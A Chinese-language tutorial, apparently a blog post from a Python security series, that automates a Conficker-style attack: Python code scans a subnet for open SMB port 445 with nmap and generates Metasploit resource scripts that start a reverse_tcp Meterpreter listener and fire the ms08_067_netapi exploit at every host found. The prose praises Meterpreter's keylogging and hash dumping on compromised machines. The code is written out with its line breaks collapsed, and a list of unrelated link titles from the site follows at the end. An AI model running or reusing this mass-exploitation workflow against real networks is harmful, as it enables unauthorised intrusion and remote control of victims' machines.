目录

一、简介

1.1、分析:

二、实现

2.1、扫描:

2.2、通信:

2.3、利用:


一、简介

1.1、分析:

已经编写了一个Metasploit 脚本, 用它黑掉了一台机器, 并获得一个shell。但是在254台主机上重复这一过程可能会使我们在键入配置文件上花太多的时间, 再次使用Python, 就可以快速编写一个能扫描出所有打开445 端口的主机,并自动生成一个去攻击所有有漏洞主机的Metasploit脚本文件的Python脚本。



二、实现

2.1、扫描:

与上一个端口扫描器例子中的Nmap-Python模块类似。

findTgts()函数输入的参数是一个要扫描的主机IP地址(段), 返回所有开放TCP 445端口的主机。TCP 445端口主要是作为SMB协议的默认端口用的。通过过滤, 只留下开放TCP 445端口的主机,攻击脚本的目标就只有这些攻击能够起效的主机了。这一过滤操作同时也会把那些通常会阻塞我们的连接企图的主机也消除掉。函数会逐一扫描所有的主机, 一旦发现某台机主打开了TCP (445)端口, 就会把该主机添加到一个数组中。完成扫描循环后,该函数会返回到这个含有所有打开了TCP 445端口的主机的数组。

import nmapdef findTgts(subNet):nmScan = nmap.PortScanner()nmScan.scan(subNet, '445')tgtHosts = []for host in nmScan.all_hosts():if nmScan[host].has_tcp(445):state = nmScan[host]['tcp'][445]['state']if state == 'open':print('[+] Found Target Host:' + host)tgtHosts.append(host)return tgtHosts

2.2、通信:

要为被我们黑掉的目标编写一个监听器

监听器或称命令与控制信道,使我们能在它被我们黑掉之后与目标主机进行远程交互。Metasploit提供了一个被称为Meterpreter的高级的动态负载。Metasploit的Meterpreter在远程机器上运行后, 会主动连接我们的指挥控制主机, 并提供大量分析和控制肉机的函数。Meterpreter扩展工具包中还提供寻找取证对象、发布命令、通过肉机路由流量、安装键盘记录器或转储密码hash的能力。


当Meterpreter进程回连接到攻击者的计算机等候执行进一步的命令时, 我们要使用一个名为multi/handler的Metasploit模块去发布命令。在我们的机器上设置multi/handler监听器时, 首先需要把各条指令写入Metasploit的re 脚本中。请留意上面是用什么命令把载荷(PAYLOAD)设置为reverse_ tcp连接的, 然后又是用什么命令设置本地主机IP地址和希望收到反向连接的端口的。此外, 我们还增设了一个全局变量DisablePayloadHandler, 作用是: 已经新建了一个监听器, 此后所有的主机均不必重复新建监听器。

def setupHandler(configFile, lhost, lport):configFile.write('use exploit/multi/handler\n')configFile.write('setPAYLOAD ' + 'windows/meterpreter/reverse_tcp\n')configFile.write('set LPORT ' + str(lport) + '\n')configFile.write('set LHOST ' + lhost + '\n')configFile.write('exploit -j -z\n')configFile.write('setg DisablePayloadHandler 1\n')

2.3、利用:

当脚本能够在目标主机上执行漏洞利用代码时, 该函数将向Metasploit re脚本中写入用于生成漏洞利用代码的目标主机、本地地址和端口。该函数还将把指定使用哪个漏洞利用代码的指令也写入re脚本的文件中


先去指定使用ms08_ 067 netapi这个漏洞利用代码——这也是Conficker蠕虫攻击时使用的漏洞利用代码, 同时还需要设定攻击的目标——RHOST。还要设定Meterpreter的载荷以及Meterpreter所需的本机地址(LHOST)和端口(L PORT)


脚本发送了一条指令在同一个任务(job)的上下文环境中(-j),不与任务进行即时交互的条件下(-z) 利用对目标计算机上的漏洞。因为这个脚本会黑掉多台目标计算机, 根本不可能同时与这些被黑的计算机交互, 所以脚本中必须使用-j和-z参数。

def confickerExploit(configFile, tgtHost, lhost, lport):configFile.write('use exploit/windows/smb/ms08_067_netapi \n')configFile.write('set RHOST ' +str(tgtHost) +'\n')configFile.write('set PAYLOAD '+ 'windows/meterpreter/reverse_tcp\n')configFile. write ('set LPORT ' +str(lport) + '\n')configFile. write ('set LHOST ' +lhost +'\n')configFile. write ('exploit -j -z\n')

【Python脚本进阶】2.4、conficker蠕虫(中):Python脚本与Metasploit交互相关推荐

  1. 【Shell 脚本进阶】使用 bash 命令对 shell 脚本进行调试

    文章目录 1. 调试常用选项 2. 输出调试信息 2.1 复杂语句展开 2.2 行号信息显示 3. 调试日志打印 4. 常见错误处理 4.1 不存在的变量 4.2 检查语法错误 4.3 发生错误时终止 ...

  2. 将整数k转换成实数python表达式_在混合类型表达式中python自动转换intlongfloat例如.ppt...

    在混合类型表达式中python自动转换intlongfloat例如 空位:格式指示符,描述了填入的值的输出形式. %. 类型字符: 宽度:用多少位置显示数值. 省略或指定为0:根据值的实际长度显示. ...

  3. 【Python脚本进阶】1.3、第二个脚本:Zip文件口令破解机

    目录 一.简介 概述: 二.示例 示例: 优化 提高性能 任意性 注: 测试方法: 一.简介 概述: 编写Zip文件口令破解机要学习zipfile 库的使用方法 打开Python解释器, 我们用hel ...

  4. python爬虫scrapy步骤mac系统_Mac中Python 3环境下安装scrapy的方法教程

    前言 最近抽空想学习一下python的爬虫框架scrapy,在mac下安装的时候遇到了问题,逐一解决了问题,分享一下,话不多说了,来一起看看详细的介绍吧. 步骤如下: # 在Mac上Python3环境 ...

  5. python的基础命令_深度学习中python常用命令

    1. print大法 test = Hello World print ("test:" + test) 2. math和numpy的区别:math只对单个元素,numpy会bro ...

  6. 从excel到python数据分析进阶指南_从Excel到Python数据分析进阶指南

    领取成功 您已领取成功! 您可以进入Android/iOS/Kindle平台的多看阅读客户端,刷新个人中心的已购列表,即可下载图书,享受精品阅读时光啦! - | 回复不要太快哦~ 回复内容不能为空哦 ...

  7. 《从Excel到Python——数据分析进阶指南》一第1章 生成数据表

    本节书摘来自异步社区<从Excel到Python--数据分析进阶指南>一书中的第1章,第1.1节,作者 王彦平(蓝鲸),更多章节内容可以访问云栖社区"异步社区"公众号查 ...

  8. 菜鸟程序员的成长之路:Python四大进阶攻略

    随着人工智能的发展与应用,Python编程语言受到世界各界人士的关注,编程圈金句从"人生苦短,我学Python"转变成了"学完 Python,可以上天",Pyt ...

  9. python开发需要掌握哪些知识-Python基础进阶需要掌握哪些知识点?

    Python基础进阶需要掌握哪些知识点?Python将是每个程序员的标配,有编程基础再掌握Python语言对于日后的升职加薪更有利.Python语言简洁利于理解,语法上相对容易能够让开发者更专注于业务 ...

  10. Redis 中 Lua 脚本的应用和实践

    引言 前段时间组内有个投票的产品,上线前考虑欠缺,导致被刷票严重.后来,通过研究,发现可以通过 redis lua 脚本实现限流,这里将 redis lua 脚本相关的知识分享出来,讲的不到位的地方还 ...

最新文章

  1. limma包分析差异表达基因
  2. C++ Primer 5th笔记(chap 19 特殊工具与技术)枚举类型
  3. springCloud Finchley 实战入门(基于springBoot 2.0.3)【三 Eureka-高可用服务注册中心】...
  4. C语言STATIC用法
  5. [Swift实际操作]八、实用进阶-(7)使用通知的方法进行对象间的消息传递
  6. Linux关闭Tomcat服务器出现无法关闭 :8005端口未启动
  7. vue 样式绑定 class
  8. Hive近百个常规函数详解
  9. java学习笔记之斐波那契数列
  10. Leetcode—6.相向双指针的剩余题型python解答
  11. ARM Cortex-A53 Cache与内存的映射关系以及Cache的一致性分析
  12. 数据挖掘实战—财政收入影响因素分析及预测
  13. RayData大数据可视化教程(1)——软件使用和材质渲染基础
  14. EtherCAT中AX58100烧写xml文件的说明(2)-TwinCAT软件安装
  15. Iframe的allow属性生效时机
  16. 第八章第五题(代数:两个矩阵相加)(Algebra: adding two matrices)
  17. kappa与quadratic weighted kappa
  18. ubuntu20.04离线安装python2.7.17
  19. Node.js笔记--Day5
  20. 计算机专业感悟英语,学习计算机专业英语心得体会.docx

热门文章

  1. AUTOCAD——图块批量改名
  2. 欧姆龙nj与nx哪个高端_没想到还有比三菱更垃圾的PLC,欧姆龙隆重登场
  3. 计算机使用交接记录表,交接文档_计算机软件及应用_IT计算机_专业资料
  4. 全国省市区(县)级地名xml(一)
  5. hilbert谱 matlab,转 matlab 信号处理——Hilbert变换及谱分析
  6. StataIC——协整检验与误差修正模型
  7. 支付宝APP支付IOS手机端java后台版
  8. java运行方法_java程序怎么运行?java程序运行方法
  9. 用NBSI进行SQL注入***分析及安全解决方案
  10. iOS高阶程序员必修——汇编